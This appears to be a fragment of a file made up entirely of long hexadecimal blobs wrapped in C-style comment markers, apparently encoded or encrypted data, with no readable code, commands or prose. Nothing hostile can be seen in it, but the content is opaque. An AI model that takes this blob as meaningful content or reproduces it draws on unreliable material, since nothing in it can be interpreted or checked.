83b92e175b45c1f6b10f59c242704ae8fa22c9f809fd8d9fa685bd80ee10999c8ffddec2e392f96d*/
/*f1819c9b4df1dd001a9ecf63c13f6569d66ad2176e0b6503f0fe85b7e26405097c2dd250b3d0fa104b1c92f61cd93df69baf1662a6644c7e79e0d99f4482c87eead504f4f429ce166f97b1659676e9c73cc1650a3594994c7068e4257ac096d40d1c328623c9c84a7b9c0824fae10dc345ad7fa7d9db498c5fa93242d1017dc7c67ff0e3e99f07664a69f1e8253c2a949a38d1fa417bd65979201f749655d6f14311c8636a4de867ae019e3a94c81cd31648094b333c038d9d9b23e3a7e01c9deadd01f47089c1bccc1c8f32bc0525a345f1c65858a13200d4067b44bc1f4aa7ca8c395d3ed94eda0793149e9b2bff8a379b16bd23f60b90e1e326272dd9fdc3e42a7cbbb0c900f25b3d69cd4de71f592b0a83819a362c8708b29b52b9aa06a68f328ba020baeabfcffdc8fba03b63fb673ff5911c00396c5968ddb55d5e29c46ea485ccd8adf3d80bbf2dce2d279e35f249fe61c8e17ea503fc6567c8f61069affd9fd24853db3ad468d331cd5c75d61a0a7419907dd94ecb4bf57494d0089b3dc7c462178da71e4f752c14903b8f20c8b182632597a761fcbcb40ba23c0b0fdd118f0bbef6e2a508b6bf5b15badd3ede107af6ca5561dc5771c913409be05f8d7f3f275785061c8b3bc6cf37c4f969e9d750415822738268af02e6b7805afebbb2c28a3436b455acf6cfbe8b34cbbfd43963be6fb7af18f4246a6f8ce77e4d6afcdb7c02f5ccfc4215837a489dd6f0164716a72113cbfecf9029d8f942ee691d56bc29c1265da26639df29e09f877b8b9beb8ede50601114999524c986c63f6033c7a9967b1328b1b3973bc4205a2725f9795aab6c8ea4782c6894f7e9161af865fe8d771ed0e734ad27e40bde49dd40bf992b30d63e2511a3a85dc79cb9906c918fe3d853fb8bd07faa7f6215bad548318ac9379d26d9e6a38308857d348b27bf887f92cf8ab3bbf22df7020ef7c85a5e6248d853809e8a73773e565515e3748ac5f0c8314176e20a2df430a8adcb07a06e5fa632e3a295016649c78bea4c1b54f125e8ad7f4005234f043a2ee1c72cea36ebbabea6af421fc7a23a32ed3e0388dfca91f0605bba2e28baaa2daf179f51d6de8b3605f9a79a29de9a2975884ffdc6de317f1c70939eccf72e305cb6494ce64bad4abfa2118f65b0de28cc48813e1a903f0bf581e20447ce6a083300dabd97a11a11dd2beafde4e2fb9ca00b011833a0ba87eaf63a793e525e8559617841d1d2ade76d2992579b8e12a8f1c05c1be10cb703a2bf046b79929746cc9b93bd9916e327085110ccbbecf4bdedc1d7e54b9b5dac0829cbf3b1ba907a2c177089e45837fbb3054c16d6ece6b4bd986096c50e1695486ba73219f84074167ddc88e0906f819c053c7c45f9b9cd16ef5a31f00c628589e453f97b40e9def2378f7a199cc03833b65505fbd9349c2bba24a8c1f71e64fdd49caf938bb361f109232c2c66dd61ac4ab0916c1eb851c6b024c9e1050945f4856f6e03a41cdda61dc4a9294b6cbba63c77dfe82e6ad71e28dbeb29aacedb21a14fe7b27c8a3cf5e31ee5672be372bea51a3ffa13cfd0695c4e4e995ad28e43d83ca52e70f84a9be0e2e39eb40195808ecc1f6001009e4ee784fef5f21f03162b09af081a482b2172f7ef190fedbe2f43856e12d9fcc4897caffdb7e2533829fa5c4a6d02e4f9b36ac4ac310ccd24b798c00619f618d9f0cee5a734391fd6cf810d7b2f03f86e629af720a7074a732da50254e2246b5c6079b5902296b7963d01eee36ad9532dc1a50673e4cd18841f547bb84c96e927e659c6192495711eaf8e42b2f918d55b4234cdb8805e580947c1a9b2c689cda81c670dc5a5a87ee321048e195aa551b2cdae00ee9ac4e89adc63db507a226724b23edcba4dd64f1bcd5183b9a6d2f7e165c9dfd7971a8ee9a79c1d0d3d7ed35dddce8818479cc4e72cdb7b325b931b36e24fe45deeb8d07970843a5c49113e6fb24514e0f19083599c08e9fa707ae4de946840f3a818a0edb2205e950c788f6dcb0d255facd9eb92d942796073621921edf15b8d5acd1eeab5021282c1fa757c389ac602b2699193a631b764af69f2c4fb7b4121a38c8f7d2c521cebec7e3a365fc0289af960c573032aa1634e9db9785f8e432da5550fc11b8c7df91ad8ee084b90a7e798cb0ee205d368664263c975d75a25d5581b97af01ce58291836f20fc874d937a4a16d4f0ad884606b18ebf1768f48e5c975b726f6022a781671f72ea684d0b99f83db6b468f06d65a3e412392e949f9200ca2ad370b2272b9665c093903d853d7b4246edb5dd2bba6afca4a4e978357997eea94790fbf5b27dcb54ac39382938049c8d64f0d64c26bc4152eb41254ac8edab53c00116673ea459cefabf7441fa9dddba799f44c0661be8dd5a66ba8bc4513286dd0813b90748e1ca3ef66ef97833c70c8c7ef2364d5406fdd6465431fb3065422a5c55e429027d20164e25fc63d7ef6e120bee152514d7d620d2c49bf7d0596dfd155f66a673ca3f067fede9d354cb06e0d60c4d9c6d5d7815b08adb7e6bed5708aad2265910e533758f3bbc230a19026e8186bdb90d74b4a7d158612fb4d58b07df581c004e296478597202135f9759026ce2a1f02bc5e5d2d0f6f242f1bd49624c5a92628620616bddf0ce562bf10245ee163d6382466217fe2298b7a4393d2896b0ecdd2992e83e91c5399ad0a78e6c82d3c418779ccc7eb0f7e49b4af45bc2dfc936a9863aba9d94d16dfccfbd0e0305eb19f642c06aef1c5476227970e292bddadcff8734e8ea948022a5967148034f994b6fd308ee57e92*/
/*7ad28f08043d6f8f3ca1c0499915245e341ef0c506007b60efd6ca1184c96b9791cd2553e497505ff30e04daa00c33d44a8102231cabe826215741f6a5fab7378c364baa2d51374ab364f9dddca88c8a0042ea816448c1afc01a7da9138d3f704ae6903096394cf033b3a3d2612ede55c298454f544848cde39083366b7bab879d3d0ce45a57a96a6d0b505ffc2f72fcf634e43b39a020f96b26d0f2696e64e7c9c4c57f1329c47bdabf1cf1058fd4ea7671c967eb4822ade1b73b02b19460e8d966b69bf8713e8864761d8041d6eaf1c9ae57a55e220b7f44585de5a96bc903d25ea777db6aa5eed37ad289b7fe4d6e9ac97abcf0bfd4115700a52b2beab5b11567875530d7b6b846ac5fef0d23630855a186685c1ebe894fcd90d0e9fab1507ea382c60752911d201ea213b619b9d478518f1c6e92ae9f9e710e496d96593a7b93a5b8974b448a283aa9687baeb3e5f1aee880a3ceabf1dd5db8359996ec6a517cc30c3deb2625ac91392cb1ac04b570a8b146f9fe7fe1c3f02f7a2b4ecba3f6ef9a69782a99485bc865fbd4085242e7f95987f7efb76c6cf885ba2593bb4603f890881c7bfff4b062f45e06c458938e1c27d01d4b2b37d87d86334e4c75a21769aa3892d160c58e74cb4c92b0e5788d017aebbe8e1501b770488732b15a750b811e36bd3b5f33f6b22a7f48768f2cbfa3080501c1231363626fea6b249328f1e02a7b90f16f0ee36978c8dab34af4f5c858060e87134894769ca1ef6d68575ae09d7c2bf74fb2a09cc9c90babc49ec896b3645efea2a6ed867993584f8d56ee248a60321015c9d276d27c079d8aa93889416139b96b6b2862f21605e57e8736ebf56b3149b6b2cd7745ab3befeb3b9f08a5b78102868d3ae236bb2023f70e892da4252da5823346873d5606ae1c43c1027cea1180a2c5f4eb1af5411fddcf58b2eb8418158c0f72349b4762c90e5615e9225a82677b6f2fdde4e051a5eac3d60825d49c59c49e64f93780da48de7be8ff8481e80d2802e037abb6bd4974ab2e4674f8193a1e707f3bb31320563a6fcd8b8a2e07e55044e064237736d188ccdc1b76caabe71d38ef3a7a1bb7f4c28dfc362038f2ce6162cdd7369747e603626a42949d5ab73e05220aeb736cf02e19c476a506c8a701469af249479f5b745aed667114cf34796387312fd334fb11bcc9d8bc57947a33be1a4e593e70d6ea1d5e7da7fcf8c5236139e570fddbe7a6d6fa3f5bfed53c857005a35b22b2f2d05f752ece3665719f61bf199ea9b72f613bd2a1a6bfc13adf0e4c2137e969b9819356961b2cf7a5fe636865195cc17772efc49243e01936d3ac0333a4e309f9c4228d928076c39f876cd252674ec234956a12447b179ea85c0ea4cfbab6d65605383db33ff7ea21af489c02e5e359040ebbb78be0ca3a32fc7b40cf14134778a595e3a666cf4ced2cf1c88540c67606545cc1f5f11227b6e57d35623e0d9a53512dc0712144389569049f371d8c39f89a04ae59b3749ce0480a0aeaf95d8c8183fc9a4ff9151d9317c8a763a6e0a7386772c34be8e0dbcfee10e7f5985b726a5d7a29e5a9ec2f6585cca9e54263fd84c3b861d37686a0fbede48c18447778f8e40adcc015cb24516b5e0b96e75f77b99085300b5dc9c755cc1363ca108b19f103c40eb06433bd2e53eb36825b69518264ba3d7c6dcd17b9190adf6e8f757a718dd5c624e5cc211764a82e2f3eca7cd21b72eab0f2c7ed8a2c549543b65571c9657f912037843c8dbfda1d7bfd394e5871b2e46019ecfe8fa1828d9c385ecc16243631b53af73ce2705065be13ab04ef4619d4d54f493328461dc6688c24516dd24bf753513214de08c1fd164f0bbdc4b30e27a0283d0fed2783f66e8c02798b9c8200032b08a0ce180d70a0062326f42259448e32176bedbdea7ee139cce3bc09f3caacdf8413864b957e45c9fefc29a8f5eabaac099b3bac6f6155a285a149cf2de4b00fe0298fe8b89b27f819ef975bf4d58537b47e5dff0a243c02e3e4a192cbbcf7292dc360643fce7679b66c24a2e710d4f753d3cfb1337c45cd86a5df8b12a96c1b3b1901222dacc6647e1d9fbfcdffcd0f11ab940282905bf05ce46e8b8acc616127ffbef2e610913fc16e1926b046b820cea0e3daf6851b579037e520c870c8c2a9e8715728689863b61c546dc9fdfcf18da594d06fbb2de8e350eb11c9539d25f82b1862ef789ae6fe04fe22acb85a738fe9dab4d431d0f987996de0a841e878638cc33c44b659af98e8a43e09628f3a75e623171ed4afdfa8fa706e00731d650e36196f8e3719f7ddc977bc6900a254095915feb41b2ea4ccccfd45d4fa03fa9ba1afb926783c9e57dc9e2c19c87d988989c76d9a577f798e874e31ff36976b1c00b3b703d1a081308180808170eeef438c30103cb960ca17e8be641b82fa358a07f88efa86eb38a0e0d61110671830d1854b58d2d03b830961e8c0dfe8631ee693bb94517910b8575c5f543fd5a209b45be1dc499d1f67a854f8cd36f72d3b147c5c6fc3fed5303ba0190a637b67fe083951e892a53c30a95cfe998bad9df3d3634c0353d73891f3e4d10e754231f8cab8315cfb9c7fd53290f9e490604013354b7e4d29cf0cda7a30f4b82115e30f96dda3507ccf23c014ace87c2d4a7a640fe1698e8c0a2e5377336052b1f1a60ec89c84ee853523e84fba00e425b3638520b8aa936a46703a3b4af10a84a148858b81c9aa42553214a32b2231cfa82a0d34e1174fd9dbe43d3f105891974548951d619d1d0b0870812eee7b796021b108dd2accfae0e129f48295b6e8f0*/
/*5c990ccae0abf1ce0c3b48286f702357757a48aee6fa29031c2d006de370a170a6fce93a6463554dc844de98a817fce3a3547f3ec3438ded356871294878e802c03d0e73db8a0679231eed9c2db4b12d0d81bddff93a4d958c6db9d1d4c4981d11e0d494024c734525caae56a33edfa270fe27a2727c045b66a9037828921e2a1c0871adf3292ef6c9c97717e7872e36f2c349e3e4df31ba79da38738dd1101c2aae70c6ac525f848dd1951ab1e35f15a62dba38d2770a22c9f28116de603fb43c2264338b45196e9130c8ebd40455e529c4efc30894d2be9b7c8a39fceab8b1ac0f9961e886239fcf896546ee9d9f5ae1339b6a1fc3a6c3459e5142560b7b2cb387c2c6f3669b3025cd62b2f15d3b93eb2a247516bd5304dd320e51537d2bb155986382df2c81c5add17e3104ff7a855d364af798c98b1478ee62efc8f7871973fa46611f6deab4ecab5a5382fbf8dc6dbdb17b41fa29324edf162f717aad6c0a5f551ca3faf966c2aa17041a640148a1c69dabb1d74d0cf428e8cbbe076213add1cd28ba196910c6bea86943bab2f0a23f371c7a819911f40b66ecfc69455505740463a97d3c7494dcd7dc679f46d8c928cf80bd3adbf367106915b9a66482741a684acecb414b6719b09bc43fc2855b5bc3b8e13cdb322779bfbbd6acb4a645cda3ab7c5ef0e069b6cdd7a7a706a1eef62909dc9e7a22424cd4c68c6056caf11db12037ddd81da40ba239f86dc8ce09b54030b5d430d709eabf4a34ec136dfbf93609e88103678621a43c1f9b57c27c3b34596b70d7ebe6a3c14741c86da1d18c862e12922cbf664b47b579000c99470f4fd8c0ae941edae1e338a956cbb8c7894b6228f9fc8d7608a2387e6c9f90b654ca7f9f4573d6734e30fd417f4f0daa6d7fb12a1f702dd0a0ee666699769eb22c67c05ce7d81c75b0d6ae85e67b49254b05562c4e99135ce5a48f851b93a9019e47ef999709549b31c7250dbaa356cd05a3699fb2ccca0fcf7b8a20b2c7c6d91337f1c936286956543060e3e054c2972f6b7b18d6f7ce5f8ffa5f5601ff5e0fc69163226f8d0912ed9ac6a9a380694eeba7cc98805fb07114cb6edb22998c548f7c2aaa7e59a4fac6be0e70f95e399402dd264450105e6c790e5b5c2901853c3327ab39a730ddfad6dbb9b07f54508674adb865ec5cfec3bcdf6fdca9aa6f5d73cc99cc4a99a081887547bd42b6f875e9f18df0e556db563126f6d2f73bbc7d01fe3e37bb886e2af4d24cec95ebc3f20f1e98bedd3b7d0cd5397444d86abc38425024c2c4d58ddc260e148478ea5653cb1f7019ac64b07133dab641bd6704ae1682aa618b62d3feafc99c7ce73725109b294cfe2b1a558e875b918d3253db216a405f6ada76c6598624d261b0dcd46435d91bf400b1b3e35d0f2bfed4857c7ae53cbe0266b9523d01aad97281582fe2f64440774c3b78e8f92232cc6a892eee154b269f4f0253bf975a5a2eaa172c914d28fecb76c43d62b7d2d1cf0ed6ac12a457d3568bd0e52b36083eb5baaa10f587bbb875db09ed12ef91ef1aa866b3490ef82edcd7601313aaf8e3e88f435953e3f6e65496d8a60a47ab749b35e465031e9454b8832582ddb22bb216caa6717c024ee7d603a24e88238b6fba924dc95ca76ef7a7a931acce3a47eaa506cc3394391851a8510fa469da2efec04162c2b77ad2c3177bfee400f9f38a24baaf8ed5e18674f0591f233b8cac8524be1507538655dd61f0a635c303d5b0b2521d2619199e34acfe544d7189d2dd61a4f40c544c99df063c774c9f62c4a11a70629b532d463aa3962022ede230d890c8b9ff218e16a8f2e31bd62b0f42e3d0b44311050581eab4d8fa63a65e18cbcd3021f1abf33c2a30182a7ade0b2678bea9225eddda08f8c39c2873d451a9a9887b0b44bd340370c24f418f3159b010612fb95d7655bcb148b6ce01212d496d42072c0e725ab85178e56c8bb91eb61cc7f53b12e505fac9c523f42aba6d59240a64c0e0e5f02a74ce45e360edaa79bebd12581f4fad85baff22e4acbc3cff4c90d0a79d35292f4585c0839f57da33827d917b8bf7a7f0b444ae8120078bbb36e9adbde0283840b9c76271c2e21285a3ead3881f288631d2eb57bc02da957a5833b32cffbe971ce6b0cc69253749a620147796b45ca7b3d69dd52b99dd07e37b13c7f7ee6ae77d14412d6f7d813a20d8eced735ddba26efcf8befd3547b401504bafec5308d59c85df8e4bf2e5a6001e60c492f846ab33feab21991318df12df90d0e2fb8dd14537a5564a64a62de6ebb8711f4e88bf39dd1b74d457f933dd97347e5c0fa9d1483e048cc98e8610c19f3e71102d21723bd50e2228387c01a16f6f38f046bfaca9d3440d04e44303f2b93f21410997f02ddbbcf5348b2676bca4ad92ca166e3d4902753082eb469eb5dd1442bd7b2029768117a23cc2d165a0c6ce4dc4c33ff41e405a41ebe2035e9e412d490f46fcae9da84a15bb48ce8a279fb0cf5c35bf170711f0bef4be0a8745e1051cb343ef3accbea25e647da07d9b96923669fd76e3e93cd1f4f359d5e7cea4777aea1b759cce4c682dac5b10fea7912c595afb715673bbb25fdb85062ad0e7983169cd7cd786dff785ae568e4dbe53aa9698e1c1d436549b2f35d7cb9b44f3f42657d217beb20e940967dd8650a7e4bb14158a7285512c72e2968b51a9ae6d5bb0ada9b227276e24d958f6a1e4f97d0b3eb06bb02c34d9f347411355d5d239bad54c7da66e7151cde710bd781729df7c84460c68c052bb64961a6824ab804345ffdc02b86af70344e61a3c57c3d571b974e1bf*/
/*8b4633a45a33130ee4c66e60e4e6d97476a2cd43640050befd444ac00a8e5da37424e29802055317598e6a1e424f90e320e7045b1134aa71e40e77deb24d878b43fce0887ad499561a4b1498f00d7d4d3cf2ed83dd7b3dc390e028767d174f7ce037d337f29edfe730eba99dfc9ec076d733b8a8cf44b5351e912f041f00835d4f4a5cbd0345ee8da6b0acfe86f3d76a42a0bf897b507315a35dd875a507a81343465692d1c720abfea001ec69f1280248666d3dcc158a4e16a658203d01acc742a3e4f92c83e27ed8941f0eded1f205c4b35e552a83116c8b205c03fa12ce1c744be2e9e71219545b41cb4501660fb3bb93889b63a26c2280bfe6781d2c2069cffe91676f32011450a020e2254cc4ac8e163ba684eac14e3ccbd7a9b13e54727ade4e7ff3c2e9d3133be704b57382f3b19368183b14ee4c2553a7feee23698a66f6f6cf9a3e08e4ad035b1e14c44f7e76f3561fb112f4f96bce526d0ac240b97c632c4c80c04e3551dbbb0f3712984eb03a1f8f4f43687ce14fb80b70e64f5b9cc0d7bad329b933f68f51e6240f44aa4c76bc0a2c1bc0f37275015dc78e61d48a2abc23cde39881458aad9b6126a83b49a14ce467ffbe3cbdb537a644748c9a4bc771a2d32331a4b33d252024fecc4f37c50e66108bbabde537eb185d82d679e938c82e8992f342436daff3fa0b203d8006d30b19138e3caf1269c77d1348a32c5a6d19f326420de273dd1be4ef841869bcde7927c51ac3d4b9ee5ccbf119c4baab1a2f2d5d85c27c391587a57198ce1627fdf119719f2e5499847cea5ed1e1f22350226aece4f538c6b2e0ce7d8f65bfc1db6a0fcffb649363363181bad58693160cd7d656014ee9d8c7f2068212881b404476079954c81484d569de0f7d97435b2abd64a1442a2262da600bd8948e9c4538e5d074283412cfc9f3bf03291ae49f849d32178a7281b138fdbb2ae23db1f7de39a066c2ad21226fb577330c84285fe52e9bd443d71686f36c3bb923a348049608b97b02dc160235d9096784294632a41812d24887bee42acb6dbb2c618253baf879a28aa23d5d234685f5c6433e0f0cd8920178afc06d894e03133a860223c026654af2209b684627bc3c34869331ea717c91027bdce68b6c7e97cd37e6fae8dcaac8d26d906895354fbbe066fefccaaabb8d2ba790c7b45eec55b3cfe72a6a06f18119b7854dae45c96280c7a0d07559cdd33d082a68c679524e6e548ffb5d9ba024a76b5e4744dfa91ce9d0e13a0a91de509d382721a754fd415028ae50133ae0b00ec90af04a75b45ad1cec2f6bb4609848074e90a8fa7e2b1be34680da72ed5811af84502a6868106449fa17e941e85b92a919d54df4ee92da65c3087e77231c863433fd8d0de4226bf828984e05f7963b7af7478fe3315bf09f0c20b15082b97df5812763301daf0c6565947e9e64146d9eb41b0fc4702fdc90a84ac6cd50ec5efd5b0552896189f2ab18facbc82b46f107e004b7b5eeb9b687e5cf818312ed4f0d23960388575e9fecbaf0cf76b6620740b7c49d522a8161494db97372101d781812fc9c368cce61b7766f28377a96fb1daef9b980cc46785f439721436631f697bac8b5ab47562b49e6cd9137a0b4e66181c86bc0e43cf7c2dc2d66604bc09e010618374c4fe93e14e68ebd57caace15231607f28e6f728bd7e69aadf68ab84386f21f666c2d73e149b4fc5ad7efae77afafc2e265deeea22e1fa972208edbb17539b222dfd475ba44ad86df7a00c3abcd25072dbaa0ce7e6ff4bccd65efbcfad5b680e184c989a303612410bf79556b384f64174bceaeeffb39206eabbd310b27717e4986d21fc07d26fb917521521eb7033f85ae5461b029a3fcc405b16faf7654b6e2e6c9e4a7791b12c5325c3822f696dfe739f535a8ed490dd0f38f689a51cf3cba7d7174b5aed32cd575af681602eedb72d045f9656abd42718dd0947e0a3c9695464181918da2b8c58b33e88e66ff5c05391f3ebad26b40837f7bcd18ae64f994b20cbd508e112b8bcd64e06236b150145fd549713ef724a5ccd8c84056324423a5168c19001f9a9c938e00fc2de4630f0df0e7f3446782f3e732609b7a3a8657dcbd8e69b6fe4f563278a5b3842e3663dddb0ce702866085eec3fb0e0adcdf9ab64c3e947e4cf9defcd6ef729d681162ad93900217d7ef12b9682f59c56efa7532f678a7bceceb8609276612076b44e910534dd9d5e67bb7a5a5aa262ea431e8cd3392a3c64cd47ede367fc1dd87d73cd343f7c1728ed45eff742dcf271c25733c2a5b865f6d808383a2386247d67697b533b72b35a6c06b03ba727ad0b29fccd0e32ac7a28b01ab81480001cc44648c8be922cdfe301c19f42dc55a536d1ddb851376eccb9d4f16c6d12ef837359d1bddf2dabf69e78268ab0db3f3cc84a3bdb0661a6fa1a774be3f1241414307923738e5fc3ac0d605b8cbfe88fc331a5164e0950edd4faa3d990da423f6beefa1296d9aaaec346452674fc8fe7bb2263ea0ed8531eeaca0871c5ed1538b523507a0a1e84ec89ff68698050faca1557ab8ae8fe3beb14d7932a299dfd8a33bcef06142a6498b4f2df189f3d4573a147d460a9f5527c3f6d9415c18097b5df8a78477df91d4f58e3a6c4914f442f466a381246059cd91623b456e123febea67f10e1644b58814c16f041c3d40ffe89f368aa5251db30166dde1b71d34a2a0cde8e15c352d451ac9c14346046576ed165a60b8de385cda0a0d28dced786975ae3e7215255ed88b64080adf096ce9639a2a8bfa6cb32342596722207485295834db391369438e6c67*/
/*37d19aa67a229b3738fe632cf53fbcb1d99d11de29f239c90361c2ee30273060c2037f0db2dd808802e5c3c59d23eebdbe971e868af79d387c8927103c4608b6b0470c11bdd245ed3dbf09c6d5cea8434455f5faf4d06e63c67afec431a9eb87fe0fab5b1b9053a8799b4d082941f02f6e3268a6c65be59121afc1d2d8a691ca0fa4eb0723aa0804e5bde08eff6c8bec05d63e505781582ec258a4c4b27a159f445cdba3de3dd81d1d753470520f4c074ca0479e63cf8a2fa9d5d89ef26acc8505b069b57f704b901360161eecbc10afe1939674d229cbf51bbb13a014024d12a812b2aec9d81d7969d98099f82c08e6f7cb46d8f2a359757be0dacebc3310915a6473b48899de59d51b23b1604d3d7958c73a99d1572ce09a6266c3a2b407776e943551647087d984f28a5a0039fd38855e18affd518ff6042e389f62cbbda7b8dd4163914020ca85387de23dd4d4bb9d0ba9c5c87478601c1442a31cf2756999782623836f47859ae051e51cd61afd003f3936b5e19726d694326da4abead41bdbb625023d697c7663f54e54a08d8c060c78216d51870c9be2168f7659076e8540f499c435333516ed2db3e2d03444121755660e3874353a06f1f9d406fa82fd1ce05dcfc8e55dac416af3ea9b7d275a22d3f1519d148b9a5584bf2d6ca3ec144a613b5d6baf3c20a1bc9590e61b718c715359e394f26065a2dd91eaa33d90473375b25956dda9489ea3ebed52d414a407ada9f8b7b779de0e48e23aa7ec48fc80ba110f7e117688d4de8bce4562c3da49083835d2d15c22049e8252eb77feb4286c56c9a88cf28d77c8effdfda5ee353322d7a505b2a257138d5e95deab037f9c9410093e1bf95a566fedaaaf3e5474606c43a9f7a35516052e34eedc866105bcf84f73ee89026c1e63320bda95149b8e49f61f3091296426f18c85d4195fd176153dd0794e93ee561391ae48d8e176a834c4902fd004f4023c8267cedcf322f9d777936157058ce168689fec959653585004a7ec704d78d814d5013fa7e18c2530bec8bcd70d2150b67d09efc2ae0245aeeae130e93f099f2179a2ca9648cea4743538ea708269213262bb748965813780cd8d552039c71dfd44da0228d72f109cbecec39a74f65b35685a8732ccc90e82a3bc660295af77633fca9ca92fae932dadfbe31b344e277c0e006f6cf7e1646ef2f54bdf220b30b37445c2e603196a2c55c11cc786165674cb63b4e2ea8bd8d88f14b3a7078f9096007b324d38a2b80b1dfc7b8439dccb7183343f5b932e6f66e8f342cec2cb6f31bba2a893bf9418136c345bd1c697e8137e4199efe51a3a66507079be515fd61af4917ccfe6f8f0bac87694d9dd6c379bc96c2ca38444bddf1fc76b5243d9903327d33f0842b0439dda58e3f04be0f0541a999eda4844bc437f1375d3c8e1317f89c77b40452531b67c546eed4fb6e10f785ed97e395330e20cd97e82499157468a884c3e82617b09776697fa10942e07f9d6d98ca7c63237712f28ffb209f90ff77fe0caa3d7f20fa55d9294561097bdb42e096013d27fa62cfb414e746bbbd1a2b1560484410982ddcded38d49ce6e0a0721a8396295248459c9012dbd5ed9855289b0ae90dd71279e8dab34daab265e1d88d564516419ac522ee546dc91a48461711e634bc7a7ac86efd4ffd7f2c472bc750af9a3c34450936a0a04b2ffc50394c1725d726c68fb2434a5645cc619b55ef2f7affbba70c97f104fecb51c15c9084f843bb74559e1ae1df8109e6dd74b030b3e5ec52755f5d03a168f1188ae008940d46af0572511093af22fcbe3b90801b6e42f591b7e326e83f2655d18faf31bb35ad846d4250683581cc16c9a94a78f0d37f4377c659914d9dbb81119302a1f12fe64818676208e5100a1e88165b889c00f927baf67f5c9a4ca5276ea1591b20078b1878420cb197d478582bfd18526c36b3ce92c106fb237ddbf23369a6171d4d21e8ae1b087aca1706562620000d2cdc459e5617e5ed459bc774035b06759ccfef440e95564bfc264c24e7bf5b6c09f141db6d08252191e3bf6e321f01e8d09d781a266f6c9998705fc45571b45189d517882062e320664d057b57e21fd65a6975f6c441c42f5358c284ddcda3d4fc87d9a779105017dca0d2edbda264e411f7d113c9564f40fce1dfd681f79a76bb34d523a2166e4e6a75b7314cb353a44b3e943df09911755120ef8ea73b7a4535331188dc90536455d1b2f89363dd1b685f61397b842ee12c74c5cacb9e386b4c05b3ab7a434d5a946151afed5b96d9714e1dda47b525a099eecf53e10b775c9386c8168a432043e268dfc11e39d1735cef99e9e0272eae774ab87c7e8c0ebf9f1c53a242cc7dfb4c5d2d927ea1078a4204e6a7af78e944eac81eaf0ca604406a45d8ef7faed791c30870861c06668af8c1dd9c90f4892fe56875297372aa41b90afcb7b8b61c0a238cdd55a5a9b42a626775398f001fba68d071ec510906eb0e86063f4ad98dde77a84bda3941d4eb460d51b270b388331d8947214cecff8477e2e35f6ea6b5e903a3c08d69ce6850dca0d3517de2433087f957d4e75342930ff1cbfd0e62fc9edb9530618b59efec09ea37c6c4be0ae783b9e9a623dd8d21579f42d7837b8a8bce80faf86418e99a608e777bbd2513d995251aefbd1fbc1b332d6a41470cd1e2eb81a3f1d676c47e881e182dbe129d09af23f47c76266b8a3c5c72aebb73e11c7d60e28f1460cfaeac2c4348ca3e5a62618282ea50a48d3bad94d8dc4649d5299755f96b2a643d29e2fe31cc66fa010a73126b597dc2ff3bfbf9fbac*/
/*1085e9aa25a2bc11482995e233827f0d3770e22e572734df1809cf5b85c41237a4b1301777876b2cb8b8328efc67f170a468091f164d25125425ffdc91b8d0edf1b132d3342cdf16efe3561f9935f734688a2e635c2779423a8b708e489f854c07e2d6c8bf6d14d9c013178792a26d176630f994fa54140bcc8f8848223ec5149c00ec5bf4b1dd8ec4f6ebb84b521a911935b583d30347a10e5f5ebb54a43d4d03591448527809efcb75d055073b99433c6a3524fc02fbda9cf42ada3cf4ac4dee01e081dc4aafbf40e7dc9033ca7d1f0ddd25a489156595d783402df5d27be828053e454cdd125341651831dcb66a1f61f923b6006841727bfaa0e426f68bc9cc94142d45980aee08f08aa27b497dc7224e5700a72f2cfd075795cd241ffdc86614a258514e961b42133b9601879c5e5d813c0b05aaa0edd7797e08c0691b7e6b26dff8096b990f44deab58e461ab0ce950ab103444d2d554bf2fe93b1363aed59985b84a973da2889123be9c3ba89b7adc739a76616cfba1948943abded42dd094a92610f04a7f4e6e99975aea3ab3c2d82de433803c71847ff1e159de7459691cfebc28dd207da22bfdcdcc8ee9e513442dbfd2775f2e2d553d293b0544a47b37b09f1958f1b19531ca623d336cfc6f12d61456071a7e7568bd7aa159b0ca8c3a386dd2c38ce210081fed46665497f39b51350d6b6bfd20b0e5243076c937813fb56c006dfa20e413e656c3bca39a435a0a29427da0ca8b90d4d1ba3c446a9ad9517dda4102f9755a67a6f02f662d738b9dd49ec018ce4b7926e808a8e219d94b6266367283245064937e0f8ce03771601f521a0ba083d0ffa5fb5eb1a963ed4e048fe7c2d18281a2610675ed322b81a68309c17ded30c33334a7f3258fc0ed3d833d0f6dbec9d80781c2940fb89b79a3bd049968579365dfee23587f2d1921722685fd50602cbcae644104f99ee8422a3a4a952382d7d5215e28c442f4c7ad4a218e37209d7deadeb1a8886e86f0ef0db74ed7f8d9a18c84502090745eb174d2806edac5bb935b26f5363095db6a3d958b06c58485df0b182e0b11dd2e414ce39694f83965142497b4412c18a5e2c7f360b0d25a292d9a4f22f26bd8a3967504210dab6e99afc3ed962318e0be4a5f14caa08a098ceb777a8e57ae66f073e8513ee03e87f13656c9971450002f7c818a6525cf3d6def1a15722dba429f0669175163872df1b49fb0586cc908ef077ec6b3365e84127a472bd6fe28164bfefd6f3c43b902b9465281f946745e89320d79aad57d1801292a186b1f2a633460f8449d13da7c3ca242f6d9ed3419ef9dc2b0a8eda609752636e07b9ab4275093ce791f614fe48477d97baf5a4f344a2a7a02b861999a6fac6afaffc878bfcd4e69c7c75f23e9c73a69a404ec1ba0adb8b99a77d6ec17bbef0b244d6cc39edb2237b14817fae40428b6735c497b57de9ac37edbd7884c0d2c7c89a37d8b0cf3c527575204a86a4e1e0796f92a908f468fe8a6df89680feff588aa76c9eafa8a0376fc0dce020a8739e62cc569151e7db63109648f6b9ce26e2bdcfe17d647e87c4660acad20c39a53740c749af11504ae26985868c13406cb43f46b0bc5bb09a59b6dccd1b598dabcdf5b7ed748b9b3e9ab4d810a15f70d1d515b35139f10db0e232137be9aa3cfd86676a377f1df2e8217793926ab4bfcad61088a8c631afdadb5cbbe0d83e3c41e088793bedbf1c359197051f27d92493a74480abf3f748dd424083d9a7da861473ef979c127767975f44ff9768b3efe016de613261d7fb781d655ac1d7199384a9d946f026e37e272fe2e1c12a5f9645039ac1ee8be6f08932b4e673864e3df05152370896fae2da5c44802c397c847cdd7311f8d72c90af3d6d372d602447e39c2ed7d5b84c76fc18eaf4d66c3cb749ee1e391a81125fab1f7d91538a134f6791780529f8eaef74dc31431a7858b0f2187ada1c186ff2d474abdcdd1a7edec4ece9949497854e0d1cdf9ee54f894d7f7ca1f0dfce3cee56bff9257f4346adf4c634957a931e3b4d2d6c2b84cacf32b4cfee5f3565cce70325c0009d4e43e0cf5ec85a02d39598ea21bb312646de6105b0c3d28372fa8932d369f804af3b22ca158ab7cedb54e1289fbbcaeced9ca74b6fa4479381e1dae494c027cfcc7248ce1d668624194412c0518ec8635b0344c95ecdd575c38fd